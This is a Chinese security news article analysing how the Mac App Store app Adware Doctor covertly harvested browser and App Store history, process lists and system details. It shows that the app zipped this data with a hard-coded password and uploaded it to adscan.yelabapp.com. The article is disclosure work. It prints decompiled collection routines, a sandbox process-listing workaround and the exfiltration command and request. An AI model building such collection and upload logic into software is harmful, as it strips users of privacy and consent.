前言
近日有外媒报道,Mac App Store中付费安全软件中排名第一的Adware Doctor被研究人员发现在未经用户同意的情况下收集浏览历史,并将数据发送至位于中国的服务器,之后被Mac App Store下架。
在被下架之前,Adware Doctor是一款广受用户欢迎的安全应用,旨在保护用户的浏览器免受广告软件和恶意软件威胁。国外研究人员解构了此次发生的下架事件的前因后果。
Adware Doctor
在Adware Doctor的宣传中,它是Mac用户抵御各种常见广告软件威胁的“最佳应用”:
在Mac App Store中,这款应用程序非常受欢迎,在最畅销的应用程序中排名第四,因此连苹果Mac App Store网站都列出了它的信息:
在“付费实用工具”分类中,Adware Doctor排名第一:
事件解构
研究人员使用静态分析(反编译)和动态分析(网络监控、文件监控和调试)的方法对这款应用程序进行了研究,以下是过程和结果。
首先,研究人员从Mac App Store下载 Adware Doctor,确认该应用程序(与Mac App Store中的所有应用程序一样)由苹果正常签发:
启动应用程序,观察到它通过HTTPS发出各种网络请求。例如,连接到adwareres.securemacos.com通过GET请求/AdwareDoctor/master.1.5.5.js:
如图所示,下载的master.1.5.5.js文件包含基本JSON配置数据:
{
“disable_rate”:false,
“disable_prescan”:false,
“sk_on”:false,
“faq_link”:“http://www.adwaredoctor.com/adware-doctor-faq/”
}
单击应用程序界面中的“Clean”按钮会触发另一个到adwareres.securemacos.com的网络请求,这次下载的是名为config1.5.0.js的第二个文件:
这次下载的config1.5.0.js文件包含更多JSON,最值得注意的是这款软件的数据库的链接:
{
“update”:true,
“version”:“201808243”,
“url”:“https://adwareres.securemacos.com/patten/file201808243.db”
}
然后是一个看起来很正常的数据库更新过程:
研究人员查看了数据库的内容,是加密的(符合反广告软件/反恶意软件的做法):
使用调试器捕获应用程序在内存中解密的文件,然后转储纯文本内容:
(lldb)
binaryContentMatchPatten = ({
md5 = (
48a96e1c00be257debc9c9c58fafaffe,
f1a19b8929ec88a81a6bdce6d5ee66e6,
3e653285b290c12d40982e6bb65928c1,
801e59290d99ecb39fd218227674646e,
8d0cd4565256a781f73aa1e68e2a63de,
e233edd82b3dffd41fc9623519ea281b,
1db830f93667d9c38dc943595dcc2d85,
...
browserHomePagePatten = (
{
name = "Chrome homepage: safefinder";
patten = "Chrome.*feed\\.snowbitt\\.com.*publisher=tingnew";
},
{
name = "Chrome homepage: safefinder";
patten = "Chrome.*feed\\.snowbitt\\.com.*publisher=TingSyn";
},
{
name = "Chrome homepage: safefinder";
patten = "Chrome.*searchword.*/90/";
},
...
filePathPatten = (
"/Applications/WebShoppers",
"/Applications/WebShoppy",
"/Applications/SoftwareUpdater",
"/Applications/webshoppers",
"~/Library/Application Support/WebTools",
"~/Library/WebTools",
"/Applications/WebTools",
"/Applications/WebTools.app",
"/Applications/SmartShoppy",
"/Applications/ShopTool",
"/Applications/ShoppyTool",
"/Applications/EasyShopper",
...
launchPathMatchPatten = (
"com.WebShoppers.agent.plist",
"com.WebShoppy.agent.plist",
"com.webshoppers.agent.plist",
"com.SoftwareUpdater.agent.plist",
...
whitelist = (
"~/Library/LaunchAgents/com.spotify.webhelper.plist",
"/Library/LaunchDaemons/com.intel.haxm.plist",
"/Library/LaunchDaemons/net.privatetunnel.ovpnagent.plist",
"/Library/LaunchDaemons/com.mixlr.MixlrAudioLink.plist",
"/Library/LaunchDaemons/com.mcafee.ssm.Eupdate.plist",
"/Library/LaunchDaemons/com.mcafee.ssm.ScanFactory.plist",
"/Library/LaunchDaemons/com.mcafee.ssm.ScanManager.plist",
"/Library/LaunchDaemons/com.mcafee.virusscan.fmpd.plist",
"/Library/LaunchDaemons/com.microsoft.autoupdate.helper.plist",
"/Library/LaunchAgents/com.microsoft.update.agent.plist",
"/Library/LaunchDaemons/com.crashplan.engine.plist"
...
这些特征看起来是一款反广告软件,并且哈希值确实与已知的广告软件匹配:
例如Adware.MAC.Pirrit:
回到Adware Doctor应用界面,它已准备好清理用户的系统:
直到上面一步并没有出现异常,但后面对不对了。
首先,在运行文件监视器(例如MacOS内置的fs_usage)和对包含历史记录的文件进行过滤(不区分大小写)后,一些异常的文件访问历史显现出来:
# fs_usage -w -f filesystem | grep "Adware Doctor" | grep -i history
Adware Doctor.44148 open ~/Library/Application Support/<b>CallHistoryTransactions</b>
Adware Doctor.44148 open ~/Library/Application Support/<b>CallHistoryDB</b>
Adware Doctor.44148 RdData[A] /dev/disk1s1/Users/user/Library/Safari/<b>History.db</b>
Adware Doctor.44148 lstat64 /Users/user/Library/Application Support/Google/Chrome/Default/<b>History</b>
Adware Doctor.44148 open ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip
Adware Doctor.44148 lstat64 ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/psCommonInfo
Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/appstoreHistory
Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/safariHistory
Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/chromeHistory
Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/firefoxHistory
运行进程监视器(例如开源的ProcInfo实用程序),可以观察到Adware Doctor使用内建zip实用程序创建受密码保护的history.zip存档:
# ./procInfo
process start:
pid: 2634
path: /bin/bash
args: (
"/bin/bash",
"-c",
"zip -r --quiet -P webtool \"/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/<b>history.zip</b>\" \"/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history\" > /dev/null"
)
使用网络代理监视器(Charles Proxy)捕获Adware Doctor到adscan.yelabapp.com的连接尝试:
通过编辑系统的/etc/hosts文件,将此请求重定向到研究人员控制的服务器,捕获到Adware Doctor尝试上传history.zip文件:
# python https.py
listening for for HTTPS requests on port:443
192.168.86.76 - - [20/Aug/2018 10:53:24] "POST /1/checkadware HTTP/1.1" 200 -
Headers:
Host: adscan.yelabapp.com
Content-Type: multipart/form-data; boundary=Boundary-E2AE6908-4FC6-4C1D-911A-0B34F844C510
Connection: keep-alive
Accept: */*
User-Agent: Adware%20Doctor/1026 CFNetwork/902.1 Darwin/17.7.0 (x86_64)
Content-Length: 15810
Accept-Language: en-us
Accept-Encoding: br, gzip, deflate
Path: /1/checkadware
Attachment: 'history.zip' (length: 15810)
待上传的“history.zip”文件受密码保护:
回看进程监视器的输出,密码被发送到内建的zip实用程序:zip -r --quiet -P webtool ...。
密码也被编码到应用程序的二进制文件中,因此反编译二进制文件即可获得密码。
输入webtool作为密码解压文件:
查看解压出来的内容,Adware Doctor在暗地里收集用户的浏览器历史记录:
$ cat com.yelab.Browser-Sweeper/Data/Library/Application\ Support/com.yelab.Browser-Sweeper/history/chromeHistory
Person 1:
https://www.google.com/search?q=if+i+punch+myself+in+the+face+and+it+hurts+does+that+make+me+weak+or+strong 2018-08-20 21:19:57
https://www.google.com/search?q=does+your+stomach+think+all+potatoes+are+mashed 2018-08-20 21:19:36
$ cat com.yelab.Browser-Sweeper/Data/Library/Application\ Support/com.yelab.Browser-Sweeper/history/safariHistory
https://www.google.com/search?client=safari&rls=en&q=Where+do+lost+socks+go+when+they+go+missing 1397-06-02 08:29:20
深入分析
看到这里,有三个问题需要解答:
它如何绕过Mac App Store的沙盒机制来访问用户的文件?
它如何收集用户的浏览器历史记录?
它还收集了哪些系统信息和个人身份信息(PII)?
从安全和隐私的角度来看,从官方Mac App Store安装应用程序的主要优势有两点:
程序经过苹果官方审查和签发;
程序在沙盒中运行。
当应用程序在沙箱中运行时,可以访问的文件或用户信息非常有限,应该不能访问用户的浏览器历史记录,但这里Adware Doctor做到了。
通过工具(WhatsYourSign)查看该应用程序的权限,包含:com.apple.security.files.user-selected.read-write:
这项权限意味着应用程序可以请求某些文件的权限,并且得到明确的用户批准后,对文件进行读/写操作。Adware Doctor在第一次运行时,会请求访问用户的主目录以及下面的所有文件和目录:
这是通过[MainWindowController showFileAccess]方法实现的:
/ * @class MainWindowController * /
- (void)showFileAccess {
r15 = self;
var_30 = [[AppSandboxFileAccess fileAccess] retain];
r13 = [[AppSandboxFileAccess fileAccess] retain];
rbx = [[BSUtil realHomeDirectory] retain];
r14 = [r13 hasAccessPremisionPath:rbx];
...
在AppSandboxFileAccess类的帮助下:
在调试器(lldb)中,观察用户主目录的访问尝试:
Adware Doctor -[AppSandboxFileAccess hasAccessPremisionPath:]:
-> 0x10000cebf <+0>: pushq %rbp
0x10000cec0 <+1>: movq %rsp, %rbp
0x10000cec3 <+4>: pushq %r15
0x10000cec5 <+6>: pushq %r14
(lldb) po $rdi
<AppSandboxFileAccess: 0x1003797b0>
(lldb) x/s $rsi
0x10006a147: "hasAccessPremisionPath:"
(lldb) po $rdx
/Users/user
现在,Adware Doctor可以合法访问用户的文件和目录,例如扫描以查找恶意代码。但是,一旦用户点击允许,Adware Doctor将具备对所有用户文件的全部访问权限,它使用了多种收集系统和用户信息的方法。虽然某些(例如进程列表)可能确实是用于反恶意软件或反广告软件的操作,但其他用户信息(例如用户的浏览历史记录)违反了严格的Mac App Store规则。
收集方法在ACEAdwareCleaner类中实现,并命名为collect *:
逆向一下部分方法
首先是collectSample方法。此方法查询应用程序下载的数据库。看起来它用于寻找收集样本中指定的文件:
- (void)collectSample {
...
rbx = [r15 pattenDic];
r14 = [rbx valueForKey:@“sample”];
在调试器中跳过此代码,并检查示例键的未加密值:
(lldb)“/ Application / Adware Doctor.app”
...
po $ rax
<__ NSArrayM 0x10732b5e0>(
NAME =`whoami`; echo /Users/"$NAME"/Library/LaunchAgents/com.apple.Yahoo.plist;
)
它正在用户的LaunchAgents目录中寻找名为com.apple.Yahoo.plist的文件。在搜索引擎中搜索“com.apple.Yahoo.plist”,跳出的信息与门罗币挖矿木马有关。在VirusTotal上可以找到相关文件,但看起来没问题:
collectPSCommonInfoToFile方法。反编译相关文件后得到了字符串和详细的方法名称,揭示了目的:
/* @class ACEAdwareCleaner */
-(void)collectPSCommonInfoToFile:(void *)arg2 {
var_38 = [arg2 retain];
r14 = [[NSMutableString alloc] init];
[r14 appendString:@"===System===\n"];
rbx = [[ACECommon operatingSystem] retain];
[r14 appendFormat:@"%@\n"];
[rbx release];
[r14 appendString:@"===OS UpTime===\n"];
rbx = [[ACECommon getSystemUpTime] retain];
[r14 appendFormat:@"%@\n"];
[rbx release];
[r14 appendString:@"===Launch===\n"];
rbx = [[self readLaunchFolder:@"/Library/LaunchAgents"] retain];
[r14 appendFormat:@"%@\n"];
[rbx release];
rbx = [[self readLaunchFolder:@"/Library/LaunchDaemons"] retain];
[r14 appendFormat:@"%@\n"];
[rbx release];
r15 = [[ACECommon realHomeDirectory] retain];
r13 = [[NSString stringWithFormat:@"%@/Library/LaunchAgents", r15] retain];
rbx = [[self readLaunchFolder:r13] retain];
[r14 appendFormat:@"%@\n"];
[rbx release];
[r13 release];
[r15 release];
[r14 appendString:@"\n===Applications===\n"];
rbx = [[ACECommon fileStringWithPath:@"/Applications"] retain];
[r14 appendString:rbx];
[rbx release];
[r14 appendString:@"\n===process===\n"];
rbx = [[ACECommon collectProcessList] retain];
[r14 appendString:rbx];
[rbx release];
[r14 appendString:@"\n===process2===\n"];
rbx = [[ACECommon collectProcessList2] retain];
[r14 appendString:rbx];
[rbx release];
[r14 writeToFile:var_38 atomically:0x1 encoding:0x4 error:0x0];
[var_38 release];
[r14 release];
return;
}
可以手动分析这些代码,但简单地让它执行并在下一行(靠近函数末尾)设置断点要简单得多:
(lldb)po $ rdx
/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support / com.yelab.Browser-Sweeper / history / psCommonInfo
请注意这个psCommonInfo也被exfilt到adscan.yelabapp.com(在history.zip文档中):
$ cat psCommonInfo
===System===
Version 10.13.6 (Build 17G65)
===OS UpTime===
1hour, 10minute, 31second
===Launch===
/Library/LaunchAgents/com.vmware.launchd.vmware-tools-userd.plist
444 root wheel
...
===Applications===
/Applications/DVD Player.app(1396-07-20 02:11:55 +0000)
/Applications/Siri.app(1396-07-27 03:17:13 +0000)
/Applications/QuickTime Player.app(1396-08-19 02:31:30 +0000)
/Applications/Chess.app(1396-06-15 01:20:21 +0000)
/Applications/Photo Booth.app(1396-04-25 01:50:31 +0000)
/Applications/Adware Doctor.app(1397-03-20 09:59:27 +0000)
....
===process2===
processID processName userID userName command
1759 bash 501 user /bin/bash
1758 login 0 root /usr/bin/login
1730 silhouette 501 user /usr/libexec/silhouette
1709 mdwrite 501 user /System/Library/Frame
....
虽然Adware Doctor获得了通过com.apple.security.files.user-selected.read-write权限和明确的用户批准来枚举用户文件,但根据沙箱设计,它仍然无法列出其他正在运行的进程。
回想一下collectPSCommonInfoToFile,调用以下两种方法:
[r14 appendString:@“\ n === process === \ n”];
rbx = [[ACECommon collectProcessList] retain];
...
[r14 appendString:@“\ n === process2 === \ n”];
rbx = [[ACECommon collectProcessList2] retain];
方法collectProcessList尝试通过内置的ps命令枚举所有正在运行的进程:
(lldb) po $rdi
<NSConcreteTask: 0x107441f10>
(lldb) po [$rdi launchPath]
/bin/sh
(lldb) po [$rdi arguments]
<__NSArrayI 0x1002851f0>(
-c,
ps -e -c -o "pid uid user args"
)
被macOS应用程序沙箱阻止(拒绝),因为枚举正在运行的进程(来自沙箱)是“禁忌”:
/bin/sh: /bin/ps: Operation not permitted
Adware Doctor使用了collectProcessList2方法:
+(void *)collectProcessList2
{
...
rax = sub_1000519ad(&var_1068, &var_10A0,
@"processID\t\t\t processName\t\t\t userID\t\t\t userName\t\t\t command\n", rcx, r8, r9);
...
var_1070 = var_1068;
do {
...
proc_pidpath(*(int32_t *)(r14 - 0xcb), &var_1030, 0x1000);
} while (var_1088 > rax);
}
调用sub_1000519ad然后迭代该函数返回的一些列表,调用proc_pidpath。sub_1000519ad返回一个进程ID列表:
000000010007df90 dd 0x00000001 ;CTL_KERN
000000010007df94 dd 0x0000000e ;KERN_PROC
000000010007df98 dd 0x00000000 ;KERN_PROC_ALL
int sub_1000519ad(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5)
{
...
rax = sysctl(0x10007df90, 0x3, 0x0, r13, 0x0, 0x0);
if ((r12 ^ rax) == 0x1){
__assert_rtn("GetBSDProcessList",
"/Users/build1/Browser-Sweeper/src/Browser Sweeper/Pods/PodACE/Engine/ACECommon.m", ...
}
rbx = malloc(0x0);
rax = sysctl(0x10007df90, 0x3, rbx, r13, 0x0, 0x0);
sysctl函数的调用加上字符串GetBSDProcessList给出了进程列表。它是苹果的GetBSDProcessList代码,可从应用程序沙箱中获取进程列表,也就是说 Adware Doctor用来绕沙箱的代码直接来自苹果。
现在让我们看看Adware Doctor如何收集用户的浏览器历史记录。使用collectBrowserHistoryAndProcess方法,调用:
collectSafariHistoryToFile
collectChromeHistoryToFile
firefoxHistory
这些方法中的每一个都包含用于提取浏览器历史记录的代码。
对于Safari而言,这将调用解析其History.db文件:
+(void)collectSafariHistoryToFile:(void *)arg2 {
...
if ([ACECommon appInstalledByBundleId:@"com.apple.Safari"] != 0x0) {
r15 = [[ACECommon realHomeDirectory] retain];
rbx = [[r15 stringByAppendingPathComponent:@"Library/Safari/History.db"] retain];
r14 = [[FMDatabaseQueue databaseQueueWithPath:rbx] retain];
;parse database
}
else {
r14 = [[@"Safari not installed." dataUsingEncoding:0x4] retain];
[r12 writeData:r14];
[r14 release];
[r12 closeFile];
}
}
该collectChromeHistoryToFile涉及到多个文件,但基本上可以归结为列举Chrome个人资料,然后分析Chrome历史数据。
+(void)collectChromeHistoryToFile:(void *)arg2 {
r13 = [[NSString stringWithFormat:@"Library/Application Support/Google/Chrome/%@/History"] retain];
rbx = [[rbx stringByAppendingPathComponent:r13] retain];
[r14 copyItemAtPath:rbx toPath:var_170 error:0x0];
...
rbx = [[FMDatabaseQueue databaseQueueWithPath:var_170] retain];
...
}
最后,在解析每个配置文件的places.sqlite数据库之前,collectFirefoxHistoryToFile方法枚举任何Firefox配置文件:
+(void)collectFirefoxHistoryToFile:(void *)arg2 {
...
r12 = [[NSString stringWithFormat:@"Library/Application Support/Firefox/Profiles/%@/places.sqlite"] retain];
r15 = [[rbx stringByAppendingPathComponent:r12] retain];
r14 = [[FMDatabaseQueue databaseQueueWithPath:r15] retain];
该应用程序还有一个名为collectAppStoreHistoryToFile的方法,它将尝试在App Store App中获取用户最近的所有搜索记录:
+(void)collectAppStoreHistoryToFile:(void *)arg2 {
...
15 = [[rbx stringByAppendingPathComponent:@"Library/Containers/com.apple.appstore/Data/Library/Caches/com.apple.appstore/WebKitCache/Version 11/Blobs", 0x0, 0x0] retain];
...
r12 = [r14 initWithFormat:@"%@/Library/Application Support/%@/appStoreData", r15, rbx]
...
ar_1A0 = @[@"-c", @"grep search.itunes * | sed 's/.*\(https:\/\/search\.itunes\.apple\.com.*q=.*\)\" .*/\1/'")]
}
在收集完用户数据后将所有内容都压缩到history.zip文件发送:
(lldb) po $rdi
<NSConcreteTask: 0x1003fa4b0>
(lldb) po [$rdi launchPath]
/bin/bash
(lldb) po [$rdi arguments]
<__NSArrayI 0x100352480>(
-c,
zip -r --quiet -P webtool "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip" "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history" > /dev/null
)
此文件以及包含软件列表的JSON blob(已下载的.dmgs或.pkgs以及从哪里下载),然后通过调用sendPostRequestWithSuffix方法上传到服务器(请注意API端点:checkadware) :
[var_1F0 sendPostRequestWithSuffix:@"checkadware" params:r12 file:rbx];
[
{
"content": "\/Users\/user\/Downloads\/googlechrome.dmg\n1397-06-02 21:15:46 +0000\n(\n \"https:\/\/dl.google.com\/chrome\/mac\/stable\/GGRO\/googlechrome.dmg\",\n \"https:\/\/www.google.com\/chrome\/\"\n)\n5533641bc4cc7af7784565ac2386a807\n"
},{
"content": "\/Users\/user\/Downloads\/charles-proxy-4.2.6.dmg\n1397-06-02 20:48:18 +0000\n(\n \"https:\/\/www.charlesproxy.com\/assets\/release\/4.2.6\/charles-proxy-4.2.6.dmg\",\n \"https:\/\/www.charlesproxy.com\/latest-release\/download.do\"\n)\nde043b43c49077bbdce75de22e2f2d54\n"
},{
"content": "\/Users\/user\/Downloads\/Firefox 61.0.2.dmg\n1397-06-02 21:16:08 +0000\n(\n \"https:\/\/download-installer.cdn.mozilla.net\/pub\/firefox\/releases\/61.0.2\/mac\/en-US\/Firefox%2061.0.2.dmg\",\n \"https:\/\/www.mozilla.org\/en-US\/firefox\/download\/thanks\/?v=a\"\n)\n65096904bf80c4dd12eb3ba833b7db8d\n"
},
...
]
--Boundary-D779386A-2A17-4264-955A-94C5FC6F5AFA
Content-Disposition: form-data; name="attachment"; filename="history.zip"
Content-Type: application/zip
...
到了这里,用户数据就发到中国的服务器上去了。
结语
Adware Doctor的行为违反了苹果 Mac App Store严格的规则和政策。例如,在“App Store规则和指南” 的“数据收集和存储”部分指出:
收集用户或使用数据的应用程序必须确保用户的同意;
应用必须尊重用户的权限设置,而不是试图欺骗或强迫用户同意不必要的数据访问;
将从开发人员计划中删除使用其应用程序偷偷发现私人数据的开发人员。
*参考来源:theregister,Freddy编译整理,转载请注明来自 FreeBuf.COM。